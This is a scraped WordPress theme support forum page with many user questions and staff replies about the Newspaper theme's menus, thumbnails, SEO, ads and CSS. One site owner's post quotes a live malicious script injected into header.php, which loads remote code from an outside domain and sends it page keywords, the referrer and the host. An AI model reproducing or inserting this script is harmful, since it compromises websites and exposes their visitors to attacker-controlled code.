- ApiPractical example – How to add a new Block and Module
- Apitd_api_top_bar_template::delete
- Apitd_api_top_bar_template::update_key
- Apitd_api_top_bar_template::update
- Apitd_api_top_bar_template::add
- Apitd_api_single_template::delete
- Apitd_api_single_template::update_key
- Apitd_api_single_template::update
- Apitd_api_single_template::add
- Apitd_api_footer_template::delete
- Apitd_api_footer_template::update_key
- Apitd_api_footer_template::update
- Apitd_api_footer_template::add
- Apitd_api_smart_list::delete
- Apitd_api_smart_list::update_key
- Apitd_api_smart_list::update
- Apitd_api_smart_list::add
- Apitd_api_thumb::delete
- Apitd_api_thumb::update_key
- Apitd_api_thumb::update
Hi, I have a particular problem with the mega menu.
I have included in the “functions.php” of child themes a PHP script, with which it is possible to add also categories and keywords to pages. Works perfectly.
Problem: When I select a category with various subcategories in megamenu he does not show me the connected thumbnails. When I select a category without subcategories in megamenu, he shows me the thumbnails correctly.
It would be very important in the menu for me to display not posts, but pages in subcategories.
Is there the possibility to solve this problem? Of course I would pay.
Hi Support,
please check this url: http://vira.hu/
Thumbnail images are in good quality and sharp on mobile phones like Galaxy S4.
On this url however: http://vira.hu/uj-cimoldal/
Thumbnail images (especially smaller thumbnails) are not sharp, so it is clear that it is not optimized for Retina displays.
Is it possible to solve this issue somehow?
The new mobile theme is not an option, I would like to customize the page better.
Thanks & Regards,
szedmaktom
Hello Noxar,
Please notice that this is the pagination for our Related Articles. If you want to get rid of this type of feature, you will have to switch to another template page as an example ->pagebuilder+page title or default page template. For more information about Related Articles, please consult our documentation here -> https://forum.tagdiv.com/related-articles/
Thanks for your understanding!
Hello,
I’m trying to adjust the excerpt length but the problem is I’m not sure which module is which. How do you identify each module to the corresponding modules seen on the website.
For example: Module 1 TD BLock 3. Which module would that be?
Thank you.
Hi Catalin,
Thank you for your reply. Before closing this topic, please review the post I left at themeforest. There support mentioned that they would test if this could be done or not and asked me to post here in the forum, where they could get back to me after testing it out.
http://themeforest.net/item/newspaper/5489609/comments?page=410&filter=all#comment_13309259
I have managed to fix it for my site.
I forced non use of the www in the htaccess file as a workaround by adding the following.
#Force non-www:
RewriteEngine on
RewriteCond %{HTTP_HOST} ^www\.example\.com [NC]
RewriteRule ^(.*)$ http://example.com/$1 [L,R=301]
Hope this helps
Hi,
The words on some posts using Smartlist 2 seems to have dissappeared. Photos and headings are still there but text in the body of the article is not showing up in the front end. Example: http://travel2next.com/things-to-do-in-munich-germany/
Strangely, other posts with the same smartlist are fine. Like this one
http://travel2next.com/8-things-to-do-in-penticton-bc-canada/
Also, ads are not appearing in the body of posts using smartlist. Why?
We updated to 7.1.1 yesterday.
Hope you can help asap.
Thanks!
How do you control the number of text allowed to be displayed.
For example: In one of the featured article on the front page your demo displays “All right. Well, take care yourself. I guess that’s what you’re best, presence old master? A tremor in the Force. The last time felt…” and it cuts of there.
However, when I put my content, it displays quite a lot more than what it appears in the demo version. I tried putting a read more but that still doesn’t work.
Please advise!
Hi,
I would create my advertising banners (no Google adsense or adwords) on Newspaper theme and I ask you
which are the right sizes.
For example, I see that the Sidebar banner could be 300×250 pixels.
I work with a Mac with retina display and I ask you how should I create a Sidebar banner:
300×250 or 600×300?
Thanks
Hello,
I have the same tablet menu ploblème. The first menu of the link does not work. http://polar.zonelivre.fr
For example the menu “by country” does not work while it runs on PC.
I understood what you explained above but I can not double every menu.
Have you any idea what to rectify concerns, rather major.
Thank you
Hello ineedsolutions,
Please notice that the playlist from your example is used on the homepage and not on the post page. If you want to achieve the similar layout which looks like on our demo, you will have to use the Playlist element from Visual Composer for your page, like this -> http://screencast.com/t/5kyRYmmWrwTR For more information about playlists, please check here -> https://forum.tagdiv.com/video-playlist-2/ Please notice that the Visual Composer is not tested on the post page and we cannot recommend using it for this type of pages.
Hope this helps!
If you refer to something else, please provide more details.
Thanks for your understanding!
Hi,
1) The head tag can be found in header.php in the main root folder of the theme. I cannot provide any recomendation on hgow to implement the code. It has to be implemented exactly as the instructions for it say. Usually you add the code in between the head tags.
2) The heading title tags are a full on debate. We decided to add them as a h3 so the user can add h1 and h2 tags inside the content itself. They should be what you want them to be. There is no standard on what item should have what tag. You simply need to have the tags present. This however is veeery debatable. Lots of people have different opinions on this. If you want to change the h3 tags to h2 in the theme’s modules and blocks, you can find the code here: http://screencast.com/t/7CBn5Fe4oQc You can read more on title tags here:
https://yoast.com/headings-use/
You can find many more online resources on this topic so it remains for you to decide if this is the best way to go about it.
3)You need to test a post, not the homepage. Here is an example of what the schema tool picks up on our demo: https://search.google.com/structured-data/testing-tool?url#url=http%3A%2F%2Fdemo.tagdiv.com%2Fnewspaper%2Fwordpress-news-magazine-charts-the-most-fashionable-new-york-couples-in-2016%2F
Thank you!
Just launched my site and have a few SEO questions
Site is:
http://galacticbrain.com
1. I’d like to add the following Google Plus link to improve SEO. What’s the best way to add it between the <head> tags? Some themes have a special area to add this type of code. How would you recommend I add it?
<link rel=”publisher” href=”https://plus.google.com/example”>
2. I’m using Post template style 11 for my articles on the front page which are all using <h3> tags for article titles listed. Is this good or bad for SEO? Should they actually be <h2> tags instead?
3. If I use Google’s Schema testing tool Google schema test, the only item it picks up is my company organisation. Is this right? Should I be getting more schema detected?
Hello Icsiaid,
If you want to change the order for your page template, you will have to alter the code from the core file in order to achieve as you wish. First of all, please4 notice that you will have to use the pagebuilder+latest articels+pagination template and then you will have to use the do_shortcode method to add your popular block (set your block to display the popular all time from the Block Settings) in page-pagebuilder-latest.php core file, like this -> http://screencast.com/t/DSd3qCGu and then your will have the Latest Articles displayed on your top of the page and then will be this type of block which you set it by Popular all time sorting on the bottom of the page. The snippet of the code for this example is -> <?php echo do_shortcode('[vc_row][vc_column][td_block_6 sort="popular" ajax_pagination="next_prev"][/vc_column][/vc_row]'); ?>
Hope this helps!
Thanks for your understanding!
Hi,
How do they manage to insert this malware script on header.php everytime i delete it ?
i have added extra security in .htaccess i have changed database prefix from default wp_ to something else much harder to guess.
what elese am i doing wrong ?
this is the code i keep finding in header.php
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://african-ancestries.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://african-ancestries.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
and this is my .htaccess
text/x-generic .htaccess ( ASCII English text )
# Wordfence WAF
<IfModule mod_suphp.c>
suPHP_ConfigPath '/home/anunturi/public_html/test/newspaper'
</IfModule>
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
#Restrict Access to the Admin
ErrorDocument 401 /public_html/test/newspaper/index.php?error=404
ErrorDocument 403 /public_html/test/newspaper/index.php?error=404
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_URI} ^(.*)?wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)?wp-admin$
RewriteCond %{REMOTE_ADDR} !^86.15.89.142$
RewriteRule ^(.*)$ - [R=403,L]
</IfModule>
#Prevent Directory Browsing
Options All -Indexes
#Restrict Access to PHP Files
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/directory/to/exclude/
RewriteRule wp-content/plugins/(.*\.php)$ - [R=404,L]
RewriteCond %{REQUEST_URI} !^/wp-content/themes/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/themes/directory/to/exclude/
RewriteRule wp-content/themes/(.*\.php)$ - [R=404,L]
#Protect Your Site Against Script Injections
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
#Securing the wp-includes Directory
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
#Prevent Username Enumeration
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
Order Deny,Allow
Deny from 201.79.174.162
Deny from 116.110.194.204
Deny from 31.135.26.61
Deny from 201.133.219.84
Deny from 46.118.113.186
Deny from 86.15.89.142
Deny from 2607:f298:0006:a056:0000:0000:02cb:020d
Deny from 79.135.237.82
Deny from 184.168.152.165
Deny from 50.62.161.99
Deny from 23.238.20.43
Deny from 61.63.25.210
Deny from 50.62.176.36
Deny from 37.61.233.106
Deny from 50.62.176.36
Deny from 70.39.151.44
Deny from 184.168.152.165
Deny from 23.238.20.43
Deny from 184.168.200.229
Deny from 184.168.27.198
Deny from 46.252.205.134
Deny from 208.109.52.46
Deny from 50.62.176.45
Deny from 108.170.8.242
Deny from 184.168.152.165
Deny from 198.71.228.12
Deny from 77.232.68.17
i ended up getting blocked by google … please help
thanks
Hello london789,
Unfortunately, our theme does not have such an option that offers you a way to change the font for your Social Counter. So, if you want to change it, you will have to use a bit of CSS code to do that. Please notice that the font which you have to call with the CSS code will have to be loaded on your theme because otherwise the font will not be displayed.
For example, you can use the code below and place it in Theme panel->Custom CSS area.
The code is ->
.td_block_social_counter {
font-family: "Helvetica Neue", Helvetica, sans-serif;
}
Thanks.
Hellow tagdiv team,Newspaper is best news/blog theme.Very pro and fast and esay use.
But,somewhere unfriendly for china user.Because we(pool chinese)cant access google,youtube,vimeo,twitter,ins,etc.So,There are about three places.
1.Featured Video.Only can use youtube and vimeo’s video. Cant use youku.com’ video. so,geek of tagdiv,can you add some code to solve this problem? can use iframe or embed or flash access.
for example:
a.<iframe height=498 width=510 src=”http://player.youku.com/embed/XMTU4ODg0NDY0NA==” frameborder=0 allowfullscreen></iframe>
b.http://player.youku.com/player.php/Type/Folder/Fid/27327437/Ob/1/sid/XMTU4ODg0NDY0NA==/v.swf
c.<embed src=”http://player.youku.com/player.php/Type/Folder/Fid/27327437/Ob/1/sid/XMTU4ODg0NDY0NA==/v.swf” quality=”high” width=”480″ height=”400″ align=”middle” allowScriptAccess=”always” allowFullScreen=”true” mode=”transparent” type=”application/x-shockwave-flash”></embed>
2.disable all google fonts.maybe set one switch is good.
3.Can customize social networks icon and access. We use Weibo,Wechat,etc.
The first trouble is big trouble. My website is http://www.dota2.tv,It will be a video portal web for DOTA2.
I cant use Video News demo theme now.
If you can solve the second and third trouble problem too, We will have a better experience. (*^_^*)
Maybe I am The only Chinese user,plz slove it.For best experience.
Hi
You don’t have to use an offset for block 3 as it will not work if you’re using post id filter. To display unique article on the page it’s enough to keep the option enabled from page settings. However this option will not work with ajax filters, for example next.prev or load more pagination. The unique article option display unique posts only at page’s first load.
Also to have all other articles displayed in block 3 just set it do display posts using on of the available pagination or set a higher limit post number in block’s settings.
Thanks!
Hi
1. I assume that you’re referring at this categories tags: http://screencast.com/t/YiflVNCtcapK If so they can be moved to the bottom of the post by editing the file corresponding with post template used. Here is an example: http://screencast.com/t/1y2CEx95i2vZ You can use the child theme to edit post templates, but you will have to check your changes after each theme update to make sure that they don’t break the layout.
2. I am not sure what you mean so please provide more detail about what you’re trying to do, also a screen pointing the desired result would help.
Tanks!
The theme features a very powerful ad management console which is very impressive (and very well thought of). This also made me replace the 3rd party plugin that I’ve been using so far. But I have few feature request that can make it a complete package.
1. For Article Inline ads, one has an option to choose the number of Paragraphs after which ads will appear. This option works fine as long as any blogger have consistent article structure. But, for eg, if I choose to display ads after 3 paragraphs for each post and if I have an article with 3 paras only then I see a problem here – it will appear in the last. Wouldn’t it be nice to add one more field that say ‘Middle’ of the article (take ad injection for example).
2. Few content publishers may like to choose 2 Article inline ads (within the content with no interest in displaying ads elsewhere). So can we have one more option please ?
Hope I’ll be heard !
Worry about the render blocking after doing some of the easier things: cache, CDN, minify …
Content and page load speed are far more important than Google’s recommendations in Insight. It’ll also depend on where you get your traffic – some of the best sites are not perfect in Insight
Examples
https://developers.google.com/speed/pagespeed/insights/?url=www.techmeme.com&tab=mobile
https://developers.google.com/speed/pagespeed/insights/?url=http%3A%2F%2Fwww.washingtonpost.com%2F
In other words — content first, responding to visitors second, webdesign optimization to the point it isn’t a distraction for your visitors.
Good luck on your site – it loads fine. It’s heavy so you can lighten it with removing grid blocks or keep it as is … and enjoy things 🙂
Open up the console and that was there:
was loaded over HTTPS, but requested an insecure script ‘http://api.tagdiv.com/user_translations/get_translation?callback=jsonpCallback&language_code=pt&_=1464400386052’. This request has been blocked; the content must be served over HTTPS.send @ load-scripts.php?c=0&load[]=jquery-core,jquery-migrate,jquery-ui-core,jquery-ui-widget,jquery-ui-mo…:4
can you guys enable https?
I recommend letsencrypt.
If you’re using docker, with a nginx-proxy there’s even a docker for that:
https://github.com/JrCs/docker-letsencrypt-nginx-proxy-companion
I’m trying to build a custom homepage and I’m adding Blocks and they arent appearing as they should…
For example I’m trying to use “Big Grid 1” http://screencast.com/t/3H2gJUs5x and only 3 of the articles show, when 5 of them are supposed to show. If I click the arrow to move over, another 3 show…
(Yes I have more than 3 Articles)
I may have edited blocks in the theme (I was messing around) is there a way to restore all the default block settings etc without completely screwing up what I’ve already done to my website?
Hello, I’d like to take this one step further–is there a way to add code in the CSS to have a custom color/image BG in the video post types (10, 11) based on Category?
For example, a Lifestyle video would have a blue BG, a Gaming video would have a red BG, etc.
Ideally, I would love to have video display in post using a post style similar to style 8, where the featured image for the video is the entire BG, but the video plays where it would in style 10… I just don’t know if that’s possible?
Thanks!
-
This reply was modified 10 years by
Kage.
Hi,
I purchased this theme today and didn’t really check if it comes with Sample data or not. I would like to start with uploading the samle data and the structure that you have shown on Newspaper theme’s demo. Please advice, thanks.
Regards,
Tahir